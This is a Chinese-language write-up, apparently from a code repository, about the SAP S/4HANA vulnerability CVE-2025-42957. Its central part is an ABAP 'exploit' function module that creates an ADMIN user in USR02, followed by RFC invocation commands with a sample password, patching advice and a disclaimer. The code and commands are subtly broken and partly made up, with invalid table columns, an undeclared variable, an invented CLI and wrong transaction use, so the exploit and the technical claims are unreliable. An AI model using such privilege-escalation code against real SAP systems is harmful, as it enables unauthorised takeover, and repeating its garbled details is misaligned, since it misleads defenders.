CVE‑2025‑42957 暴露了一个启用 RFC 的 SAP S/4HANA 模块,该模块允许低权限用户注入 ABAP 代码以创建管理员账户并获得完全控制权。文章解释了该漏洞、威胁模型,提供了最小利用 ABAP 代码,并列出了修补和监控步骤以保护系统。
2025年8月,SAP旗舰ERP平台S/4HANA被发现其一个RFC启用的功能模块存在漏洞。仅拥有低权限的攻击者可以向该模块注入任意ABAP代码,绕过正常的授权检查并获得完全的系统控制权。
该漏洞并非理论上的好奇心产物——它已被SecurityBridge威胁研究实验室利用,并已在本地部署和私有云部署的实际攻击中被积极使用。
| 问题 | 影响 |
|---|---|
| 完全系统沦陷 | 攻击者可以创建超级用户帐户、修改业务流程并从USR02表中提取密码哈希。 |
| 所需工作量极小 | RFC调用构造简单;一旦功能模块就位,攻击者仅需几行ABAP代码。 |
| 实际紧迫性 | SecurityBridge已确认攻击正在进行中——如果您不立即打补丁,则面临S/4HANA实例被完全接管的风险。 |
ZVULN_EXPL是攻击者的唯一入口点。S_DMIS(活动 02)。因此,利用链为:低权限用户 → 对ZVULN_EXPL的RFC调用 → USR02中的新管理员用户 → 完全系统控制。
以下是我们放入功能模块ZVULN_EXPL中的ABAP代码。它有意保持最小化但完整——它创建一个新用户并记录操作以供后续验证。
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP用户名称
*" VALUE(iv_role) TYPE susr02-roleid "要分配的角色
*" VALUE(iv_passwd) TYPE susr02-pwd "新用户的密码
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* 本地数据声明 ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* 将参数分配给本地变量 -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. 在 USR02 中创建新用户条目 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "分配 'ADMIN' 角色
* 2. 分配密码和配置文件 ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. 记录操作(可选) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "创建者用户
sy-datum, "时间戳
'ZVULN_EXPL', "功能名称
|lv_user_id||lv_role| "消息
). "存储在ABAP跟踪表中
ENDFUNCTION.
如何调用
从外部客户端(Linux/Mac)
sapnwrfc -U <调用者用户> \
-P <调用者密码> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
在SAP GUI内部(快速测试)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
调用后,您应该在USR02中看到一个新条目,用户为admin2,角色为ADMIN。
立即应用SAP 2025年8月安全补丁。
该补丁处理了底层RFC暴露的功能模块,并封闭了攻击者使用的特定向量。
监控日志中可疑的RFC调用和未授权的管理员创建。
使用事务SM59查看TSTM1中函数名称为ZVULN_EXPL的新条目。
实施SAP UCON以限制RFC使用。
配置授权对象S_DMIS(活动 02),使只有受信任的用户才能调用Z类型的RFC模块。
审查对授权对象S_DMIS活动 02的访问。
确保只有有限数量的用户拥有该对象——缩小攻击面。
CVE‑2025‑42957不仅仅是另一份安全公告;它暴露了一个低权限向量,如果不及打补丁,可能导致完全系统接管。上面的代码演示了攻击者如何以最小工作量插入一个管理员用户。通过打补丁、监控和收紧RFC权限,您可以关闭大门——并确保您的S/4HANA实例安全。
本仓库仅用于教育目的,并作为应用于真实世界漏洞的威胁建模原则的演示。CVE-2025-42957强调了识别信任边界、验证输入和强制最小权限访问的重要性——这是安全系统设计的核心原则。所有提供的代码和示例仅用于学习,不应在生产环境或未经授权的测试中使用。
作者:Mark Mallia
日期:2025年9月10日